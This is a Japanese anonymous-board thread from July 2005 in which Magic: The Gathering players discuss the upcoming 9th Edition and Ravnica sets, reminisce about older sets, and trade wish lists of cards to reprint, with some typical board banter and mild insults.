269 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 06:36:17 ID:G/eOEscS
>>267
上の流れに乗っただけですが。

270 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 06:39:18 ID:oOu2+Rsv
何この池沼
271 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 06:46:13 ID:JUQjxNKr
むしろ神河勃起と書いて、のちのち顔を赤らめながら謝っている
ID:DxDuHiU6に萌えた。
272 ：ｷｯｶｰ戦隊ﾎﾞﾙﾊﾞｰﾌｧｲﾌﾞ!! ◆VOLVERcOBU ：2005/07/02(土) 08:18:50 ID:T4Qu8D3V
とりあえず8th→9thになったらすき込みが消えますな｡
ﾃﾞｯｷﾊﾟﾜｰが落ちた緑ｺﾝは戦線撤退かのぅ?
273 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 08:25:04 ID:LKyznzh7
すきこみいらないから、冬の抱擁を復活させてください
274 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 08:43:04 ID:9t6s2WnP
冬の抱擁なんて贅沢すぎ、カビで我慢しとけ
むしろ黒に３マナの土地破壊が欲しい
汚れすらないし
275 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 09:17:22 ID:MJauy2qn
>>272
公式のデッキリスト見るとすき込みが無くても上位に入ってる緑コンがいくつもあったから
すき込みの離脱ぐらいどうってこと無いんじゃないかな。

276 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 10:13:55 ID:Qu6Xp54q
>>275
ビートダウン寄りに行けば俺もいけると思う
277 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 10:16:30 ID:JwDU+jml
でも、苦行者や剣等が落ちるまでの間やね
278 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 10:18:38 ID:yBrnBTEW
9版で盛り上がってるとこで悪いが、
ラヴニカに関してrancored_elf情報が出たので簡単に訳しとく。
例によってミスがあったらゴメン
http://forums.mtgsalvation.com/showthread.php?t=13184

ラヴニカは多くの人間、エルフ、ゴブリンなどの種族を含むだろう。
多くは無いが、ゾンビ、ワーム、昆虫、天使なども。
また、今まで特定のブロックでしか現れなかった種族(例：ロクソドン)も登場。
兵士、ウィザード、クレリックのような「職業」的なタイプもたくさんある。

総合的なフレイバーとしては
(物語面では)
政治的陰謀(マスクス型)の混ざった本物のファンタジー(ミラージュ型)。
(ゲーム面では)
金枠濃い目のインベイジョン的な環境、ウルザブロックレベルのカードパワー。
279 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 10:20:21 ID:qoFbWMB4
赤以外の色には土地破壊なんぞ贅沢品
280 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 10:28:58 ID:9t6s2WnP
>>278
要はラヴニカは雑多な種族が登場するので、オンスや神河のような部族シナジーは無いってことかな
しかしウルザブロックレベルのカードパワーってのは期待していいのか悪いのか
281 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 11:19:43 ID:vSsC2IJ2
多色の強力カードに期待する。
282 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 11:24:52 ID:wf2O016u
そこで、アーイシャ・タナカとケイ・タカハシの再録ですよ。
283 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 11:33:30 ID:TsVJa4yg
いたなあエルダーレジェンドドラゴンとか。
アップキープコストがキツすぎてニコルしか使われなかったデカブツだったな。
284 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 11:37:27 ID:fFvtPwhM
インベイジョンのコンセプトにウルザレベルのカードパワーって､ゲームが崩壊しないか?
285 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 11:41:11 ID:LKyznzh7
そんなのは所詮売り文句
286 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:05:04 ID:w3PyjYS5
カードパワーってのは相対的なもんなのにな。
神河がゴミと化すのは勘弁。
287 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:14:02 ID:+DH1G9tC
地味さ、カードパワーの低さ、ブロック構築以外では使われないブロック特有のギミック
そして前後にカードパワーの高いセット

何度も言われてるけど、もう完璧にマスクスだな。
288 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:19:51 ID:7OJADOye
>>278
そんなに過去のいいとこどりしてったらどこかで破錠すると思うんだが…
まぁ宣伝文句だろうけどね。全米NO.１みたいな
289 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:22:57 ID:hyNzTkzd
いままでのマジックの世界観とかなりかけ離れたことやってるからなぁ＞神河
日本以外のユーザーがとっつきにくい世界観のカードがエクテン、ヴィンテージでも使用されると
洋物ファンタジーをのぞむユーザーに疎まれるとおもったんでないの。
ミラディンも変わった（『造物主の掟』（ホーガン）じみたSFな世界観）だけどこっちはファイレクシアという先例があったわけで。

＞インベイジョン並のカードパワー
つプレーンシフト
290 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:24:04 ID:1ueWCTDb
>>289
＞＞インベイジョン並のカードパワー
＞つプレーンシフト

タンカブと終止はにんにちわ
291 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:25:04 ID:te6QEJ/F
どこにインベイジョン並のカードパワーって書いてあんの?
292 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:27:54 ID:9t6s2WnP
>>278
金枠濃い目のインベイジョン（～いろいろ省略～）のカードパワー。
293 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:29:15 ID:qoFbWMB4
(物語面では)
陰謀のインフレ(インベイジョン型)の混ざった本物のSFファンタジー(ウルザ型)。
(ゲーム面では)
無駄枠濃い目のマスクス的な環境、ミラージュブロックレベルのカードパワー。
294 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:30:36 ID:te6QEJ/F
>>292
｢金枠濃い目のインベイジョン的な環境｣ってのと
｢ウルザブロックレベルのカードパワー｣は別だろ?
295 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:31:10 ID:hyNzTkzd
ああ、すまんウルザブロックレベルのカードパワー、だった。誤読はいかんな。
296 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:31:29 ID:N2mqWBYU
色んなクリーチャーいるのは面白そうだなあ
部族シナジーはいいから訳わからんクリーチャータイプきぼん

>>293
吹いたｗ
297 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:32:50 ID:te6QEJ/F
ミラージュブロックのカードパワーを馬鹿にしてやがるな
298 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:37:12 ID:gwECG5E5
ミラージュブロックは地味に強いよな。
苔男様とか
299 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:38:58 ID:1ueWCTDb
アスカーリを馬鹿にしたな
300 ：ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ ◆haMIO/SwXg ：2005/07/02(土) 12:39:06 ID:LFgKfs+d
夜のスピリットやコビトカバにあやまれ！ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ#{/F:'8In
301 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:39:59 ID:7Ok8ki2H
NGワード増やすかな
302 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:40:50 ID:9t6s2WnP
ミラージュブロックと言えばプロスブルーム
303 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:41:04 ID:N2mqWBYU BE:358697287-##
>>300
　　　　　　　ヽ|/
　　　　 ／￣￣￣｀ヽ、
　　　 /　　 　　　　　　ヽ
　　　/　 ＼,, ,,／ 　　　|
　　　|　（●） （●）|||　 |
　　　| 　/￣⌒￣ヽ　U.| 　　・・・・・･･･ｺﾞｸﾘ。
　　　|　 | .ｌ~￣~ヽ |　　 |
　　　|U ヽ ￣~￣ ﾉ　　 |
　　　|　　 ￣￣￣　　　 |
304 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:42:57 ID:1ueWCTDb
うわゴミ屑コテがでやがった

NGするの忘れてたわ
305 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:43:42 ID:qoFbWMB4
強すぎもせず、弱すぎもせず、実にバランスの良い強さのブロックだったさ
プロスブルームやスカンダリーステイシスは今見ても芸術的なデッキだと思う
306 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:45:55 ID:YxrE/doF
ナントゥーコの影再録キボンヌ。
黒使いとしてはぜひ。
307 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:46:59 ID:9t6s2WnP
>>306
つ血塗られた悪姥
308 ：ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ ◆haMIO/SwXg ：2005/07/02(土) 12:48:48 ID:+rsJBCol
>>300
俺も乗ってみるかなw
でも側面攻撃とか累加アップキープと微妙すぎーヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ#{/F:'8In
309 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:52:40 ID:YxrE/doF
>>悪姥弱くない？
使ってたんだが、こうげき通してもらえない。
畏怖のためにスペース空けるのもったいないし、これならまだ立ちはだかる影のほうが、、、。
310 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 12:58:19 ID:ge0vps3r
ロクソドンが出るのならナントゥーコの登場も期待できる。
影が再録されるかとは別の話だが。
ヾ(;ﾟдﾟ)ﾉ"ﾅ､ﾅﾝﾄｩｰｺ!
311 ：ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ ◆haMIO/SwXg ：2005/07/02(土) 13:07:00 ID:gwECG5E5
ナントゥーコ出すんなら薄青幕の侍よこせー
ヾ(;ﾟдﾟ)ﾉ"　ﾌﾞｼﾄﾞｳｲﾁｰ!
312 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:07:18 ID:9t6s2WnP
>>309
一応プレイヤーへの打点はナントゥーコ影と同じ
でも黒で２マナ2/2デメリット無しはこいつだけ・・・だったんだが、救済で残虐の手が登場したので使われることは無いね
313 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:07:23 ID:YxrE/doF
＞３１０
ですな。もれはパンプ大好きだからなんとかしてほしいでつ。
源獣使いにくいし。
314 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:10:29 ID:qoFbWMB4
ホマリッドの再登場も期待してるぜ
315 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:12:14 ID:1ueWCTDb
ｲﾗﾈｰ
316 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:12:45 ID:HPIvhn5b
thallidの時代が来るんですね
317 ：ｷｯｶｰ戦隊ﾎﾞﾙﾊﾞｰﾌｧｲﾌﾞ!! ◆VOLVERcOBU ：2005/07/02(土) 13:20:01 ID:T4Qu8D3V
多色でいろんなｸﾘｰﾁｬｰﾀｲﾌﾟが帰ってくるのか?
ﾎﾞﾙﾊﾞｰ!!щ(ﾟ皿ﾟщ)
318 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:20:33 ID:GDz8joxU
イシュトバーンおじさんまだー？
319 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:21:02 ID:gweOeFgJ
セファリッドの再登場を願うスレはここですか？
320 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:22:01 ID:1ueWCTDb
血の誓い再録しろや
321 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:23:40 ID:gweOeFgJ
レベルとボルバーにはもっと適した訳があると聞いたんだが
レベルは反乱軍だとしてボルバーって何？
322 ： ◆gFHRCvEXwc ：2005/07/02(土) 13:43:09 ID:EEWNY/79
MOで、ミラージュが使用可能になるのって、ラヴニカへの布石？
323 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 13:48:30 ID:7OJADOye
おお、ついに俺の愛しいカヴーに会えるのか
324 ：ヾ( ﾟдﾟ)ﾉ"：2005/07/02(土) 13:51:56 ID:moDoNfMA
ただし《はぐれカヴー》
325 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:32:58 ID:w3PyjYS5
ここでイシュトバーンおじの出番ですよ
326 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:36:09 ID:9t6s2WnP
種族がイシュトヴァーンおじなんだよな、あれ
どうやって増えるんだろう
327 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:36:37 ID:GDz8joxU
人間・イシュトバーンおじ
328 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:39:03 ID:O30PxwR7
伝説化
329 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:40:05 ID:9t6s2WnP
じゃ職業か？
イシュトヴァーンおじって儲かるのかな
330 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:44:08 ID:XwP+FFde
いまじゃ多分ミニオンだな。
331 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:45:37 ID:JSEED/eC
人間・イシュトヴァーンゾンビ
332 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:46:17 ID:fFvtPwhM
究極体はどうやってイシュトバーンおじになったんだろう。
333 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 14:49:23 ID:7OJADOye
山奥で遭難しかけたところをイシュトバーンおじに助けてもらった。
以来、究極体はおじへの御恩を決して忘れたことがない。
334 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 15:23:07 ID:gttbypHq
うほ
335 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 15:30:01 ID:yBrnBTEW
むしろカイロから来たアリの方が謎。
336 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 15:31:01 ID:fFvtPwhM
そーいや、基本セットの人間問題は結局どうなったんだろう。
337 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 16:03:10 ID:XMgYrO1N
ウルザブロックは失敗作だと思う
ああいうパワーということは既にバランス調整失敗してるってこと
338 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 16:17:52 ID:Z9HrG6eG
基本セットだけど７版やポータル２みたいな世界観のあるのが
好きな奴は挙手ﾉｼ
339 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 16:28:44 ID:LoBJoebF
まあ、あれだ。ウルザブロックのパワーってことは、禁止カード乱発祭りってことだろう。
340 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 16:39:06 ID:yBrnBTEW
まあ、流石に禁止クラスのカードは出さないだろうけど、
マルチカラーのパワーレベルをかなり上げるって事だと思うから…

全 編 ア ポ カ リ プ ス 状 態 ！？
341 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 16:44:22 ID:XMgYrO1N
ウルザはコストの概念を壊しすぎ
アホコンボだらけで戦うクリーチャー不在
ああいうのはつまらん
>>338
ﾉｼ
342 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 16:57:51 ID:sPZAjHZr
5thの雰囲気が一番だというﾔｼは挙手！ﾉｼ
343 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 17:01:57 ID:B3dTbdrk
俺7ｔｈ
344 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 17:24:23 ID:W7x3T34z
特に好きっていうのはないけど思い入れがあるのは5th-6th
ちょうど切り替わりの頃MTG始めたから

そういや道化の帽子、所持したこともプレイしたこともないな
345 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 17:49:14 ID:9WmR2XWf
>>342
ノ
正確には4th日本語版以降からだが
あの頃はネットなくて大会も長閑だった
俺のピットとアイツのシヴドラで殴り合いしてたあの日
346 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 17:51:24 ID:EseMKXAU
5th最高
ポックス、ネクロ、火葬、ボールライトニングあたりがすごい好き

カード数多いから火葬欲しくて買ってるのに全然出てこない小学生時代がなつかしい
347 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 17:57:42 ID:DA+CA9Q1
資金力の低さもあってコモンさえ中々揃わなかったな
348 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 18:04:07 ID:ViUPmx3e
インヴェイジョンが一番好きです
349 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 18:04:16 ID:zRd5ZRO6
5版は魅力的なカードが多かったな…
4版はlaceシリーズやアンティカードがあったし、強すぎなカードもいくつかあったから良い印象が無い
350 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 18:36:01 ID:fFvtPwhM
でもゴミみたいなカードが山ほどあるのも５版の特徴。
351 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 18:44:59 ID:kOi91E6r
>>350
《ゴミあさり／Scavenger Folk》を馬鹿にすんな
352 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 18:47:15 ID:LtLAEJW3
基本セットは5版くらいのサイズでもいいと思った。
353 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 19:09:05 ID:eg+7GBR3
カス多すぎ
354 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 19:19:11 ID:XMgYrO1N
５版のいいところは５版構築でも戦えそうなデッキができるところ
355 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 19:19:17 ID:9WmR2XWf
>>349
4th日本語以降ってのは正確にはMI以降ってことなんだけどね
クロニクルもあったし、その辺が好きでした
356 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 19:26:00 ID:DjuKDrKC
始めたときは５版だったけど他の基本セットと比べるとあんまり好きじゃないんだよなぁ…
βから３版，３版から４版の間で落ちたＰ９やデュアランは仕方ないと思うんだけど
４版から５版で落ちたカードには各色のスター的なカードが多すぎたと思うよ
逆に５版で入ったカードはCH,FE,IA,HLの微妙カードばかりだし…
結果的に５版は華の無いマスクス的な基本セットだったと思う
357 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 19:52:33 ID:Q3j9pIDv
華が無くなったのは5th-6thじゃないの？
358 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 20:27:32 ID:j2uAMVtM
６ｔｈから７ｔｈだと思う。
359 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 20:29:09 ID:0RnqqipD
だねえ。やっぱトランプルやらプロテクションやらがなくなるのはツマランよ。
360 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 20:30:59 ID:SUiDxhlw
７版は輝きを取り戻したステキ基本セットですよ？
ゲドンが落ちたのは残念だったけどなー
ヾ(@益@ .:;)ﾉ"ｼﾅﾁｸﾋﾞｰﾑ!!
361 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 20:34:48 ID:eg+7GBR3
ヾ(;ﾟдﾟ)ﾉ"みたいなのを使ってるやつって
ひょっとしなくても厨か
362 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 20:48:06 ID:cOr6QL66
厨かどうかなんて関係無いぜー
最新セットについて語るんだー
お気に入りの突撃ペガサスが帰ってくるので
今から大興奮であります！！
ヾ(;ﾟAﾟ)ﾉ"ｷ､ｷｷｼﾞｷｰ!!
363 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 20:57:22 ID:aAKRlZq9
>>359
まあぶっちゃけ、9版になってこれらは復活する
みたいだから、もう大目に見てやろうぜな感。

まぁ１マナ0/1飛行再生持ちみたいな奴を復活
させておいてトランプルがないんじゃあ、それこそ
初心者は阿呆らしくて大型クリーチャーを出そうとは
しなくなると思うしなぁ。
364 ：ヾ(@益@ .:;)ﾉ"ｼﾅﾁｸﾋﾞｰﾑ!! ◆haMIO/SwXg ：2005/07/02(土) 21:05:55 ID:Jt86m+8B
そういや《鬼火》復活するんだったな。
ヾ(@益@ .:;)ﾉ"ｼﾅﾁｸﾋﾞｰﾑ!!#{/F:'8In
365 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 21:09:18 ID:nIRTXHaO
神の怒りがいまだに高いのがいただけない。
どうせ使うデッキ今殆どないんだから安くしてくれ・・・。
366 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 21:12:45 ID:SQz8YLNt
環境が変わればトップレアになりやすいカードではあるので、安くはならないと思われ。
367 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 21:15:47 ID:KASi6pgH
今安いんだし適当にトレードで集めれば？
368 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 21:21:42 ID:3cqgqaxS
今から集めておいたほうがいいんでない？
これから多色化の時代に突入するってことは、逆にラスゴが使いやすい時代に【少し】はなるってことだから。
369 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 21:24:09 ID:FFYuR1X5
ネビ盤、ゲドン、解呪と対抗呪文そして極楽鳥…
どんどん落ちていくなぁ…ヾ(@益@ .:;)ﾉ"ﾁｸﾋﾞｰﾑ!!
370 ：365：2005/07/02(土) 21:25:52 ID:nIRTXHaO
2枚あるさゆり手放すか・・・。
まぁさゆりはすぐ落ちるけど神の怒りはそう簡単には落ちないだろうし。
371 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 21:38:28 ID:x7pgxhzY
ヨーグモスの悪魔に違和感が。
大地の怒りに違和感が。
372 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 21:58:21 ID:HwKMx62i
アーティファクト土地が禁止されちまってトランプルが解禁の今となっては
「奈落の王」でも良かったような気がするよ。
ヾ( ﾟ３ﾟ)ﾉ"ｼﾅﾁｸｰ
373 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:20:57 ID:p9M/u3dZ
みんな９版で盛り上がってるけど、カードリストもう出てる？
374 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:21:25 ID:vFvNS5do
>>356に大喝！！
貴様はなっとらん！！
その後パワーを求め過ぎた結果がサーガで大量の禁止カードを生む事になった
とどうして解らん！！
それに華がなくなったのは貴様自身だ！！
375 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:29:59 ID:CY5IOaKu
>>373
かなり信憑性の高いのがギルドに
早く見てこいよー
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
376 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:40:07 ID:eg+7GBR3
ヾ(;ﾟAﾟ)ﾉ"
↑
うぜーおぼえたての屑どもが
377 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:43:24 ID:rrd66P6w
ヒムが復活するってマジか。
378 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:44:23 ID:cyKfkcxJ
いや、ヒッピー。
379 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:45:16 ID:G/eOEscS
ヒムはまずいだろwwww
380 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:47:20 ID:LLx+PzoE
ヒムはヒッピー以上にヤヴァイなｗ
381 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:48:29 ID:XMgYrO1N
５版は華あるやん
ネクロも停滞もボーライも森の知恵もネビ板も
まあ白は弱いけど元からだし
382 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:51:29 ID:3FMq4hQi
ヾ(ﾟÅﾟ)ﾉ"ﾋﾑ ﾔｳﾞｧｽwwwww
383 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:52:44 ID:W7x3T34z
ダクリも復活だってよ！！！
ダクリx2→ヒッピー、ヒムマジﾂﾖｽｗｗｗｗｗｗｗ
384 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:53:12 ID:W7x3T34z
・・・ｽﾏﾈ、ageちまった
385 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:55:57 ID:p9M/u3dZ
>>375
あー、あれ信憑性高いのか……？
ギルドが採用するぐらいならそうなのかも知れんけど
支那竹？
386 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:56:15 ID:XMgYrO1N
ヒムやばい
何がやばいって先行２手目で土地二枚ぶち抜かれたら降参するしかない
387 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 22:59:13 ID:W7x3T34z
そういやAPにヒムもどきがあったのを思い出した
388 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:04:25 ID:S4MqO7bb
《精神ねじ切り》も一種のヒムもどきだよねー
ヾ( ﾟдﾟ)ﾉ"ﾆﾎﾝ ﾉ ｹｰｻﾂ ﾊ ｳﾃﾏｾｰﾝ!
389 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:07:22 ID:nIRTXHaO
すいません、ヒムってなんですか？
390 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:12:49 ID:XMgYrO1N
《Hymn to Tourach（FE）》
マナコスト (黒)(黒) ソーサリー
プレイヤー１人を対象とする。そのプレイヤーは、カードを２枚無作為に選んで捨てる。
391 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:12:59 ID:q8mz9EKS
>>389
《フォールンエンパイア》《ポロリもあるかも》でググれ！！
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
392 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:13:01 ID:zWwUWarj
Hymn to Tourachで検索してみ
393 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:15:27 ID:B0jqYWAQ
>>391
やっぱり
しなちくは
ばかだ
なぁ
394 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:15:29 ID:RsXWZxMZ
親切にもほどがある
395 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:15:54 ID:G/eOEscS
>>389
フォールンエンパイアの中で一番値段が高いカード
ちなみにコモン
396 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:19:07 ID:XMgYrO1N
もうね、おまえら新婚旅行はどこですかと

無作為ディスカードは対策カードが効きにくい
《ゲリラ戦術》とか《純粋な意図》、マッドネスなんかでも防げるとは限らない
397 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:19:19 ID:TPfVwdOY
>>389
「ダイの大冒険」のアレか？
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
398 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:23:40 ID:p9M/u3dZ
>>396
そんなもんお前……
399 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:44:37 ID:XMgYrO1N
>>398
+　　　+
　　∧＿∧ 　+
　（0゜・∀・）　ﾜｸﾃｶ
　（0゜∪ ∪ +
　と＿_）__）　+
400 ：臣下の義務 ◆u0DM9.lOJQ ：2005/07/02(土) 23:47:20 ID:Uj6Ifqwd
４００げと
私も話題の第９版というものに参加してみたいのですが…
401 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 23:56:27 ID:kOi91E6r
>400
おまいは絶対基本セットに入れない。
ただ今日発売のぎゃざにおまいを使ったコンボが載ってた
402 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:06:56 ID:6CGYk1wm
もう多色とか強めとかどーでもいい
レジェンドが少なけりゃそれでいい
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
403 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:30:02 ID:CeT0vYva
……仮にヒムが復活するとしたら、他の色は何が復活しないと釣り合わないだろうか？
404 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:34:07 ID:XerThsZE
白：ソープロ
青：Mana Drain
赤：Fork
緑：暴走するヌー
405 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:35:35 ID:SRt9sa6L
緑にやる気が感じられないのは仕様ですか？
406 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:41:04 ID:WddJ2G7E
緑:ﾁｬﾈﾙ
407 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:43:22 ID:rm8QqPXO
Regrouthはー？
408 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:47:11 ID:Fy+pDTRy
バーサク
409 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 00:55:31 ID:a4d434+G
怨恨
410 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 01:29:33 ID:4UuLYxNQ
白：ゲドン
青：Force of Will
赤：Fork
緑：《ガイアの祝福/Gaea's Blessing(WL)》

まだやる気のない緑。
411 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 01:33:57 ID:kKqJRRds
白；ゲドン
青；Arcane Denial
赤；火炎舌のカヴー
緑；花の壁

ちょっとだけやる気出して　無いよね('-`)

番外；アーティファクト；崩れ行く聖域
412 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 02:16:03 ID:4iXYuOxn
白：税収、剣を鍬に
青：衝動、大クラゲ、貿易風ライダー
黒：強迫、繰り返す悪夢
赤：略奪、渋面の溶岩使い
緑：花の壁、貪欲なるベイロス

だったらオオーッて思う。
413 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 02:24:16 ID:+xT2rL3Z
青が地味に強い
414 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 02:55:23 ID:QBtLEVDT
>>401
ぎゃざってマナバーン休刊でMTGの記事が増えたのでしょうか？
この前4ページしかなかったから絶望してきたところですが。
415 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 03:27:29 ID:jItAkJet
>>412
やっぱし緑弱くね？って気分
416 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 03:34:15 ID:gH/EhpeH
緑：永遠の証人、適者生存
417 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 03:42:43 ID:jItAkJet
それは酷いな
デッキ名は
サバイバル・オブ・ザ・ウィットネスかエターナルサバイブ、もしくはエターナルフィットネスと言ったところだな
418 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 03:45:42 ID:eD0wP3Xa
青だけ３枚かよ
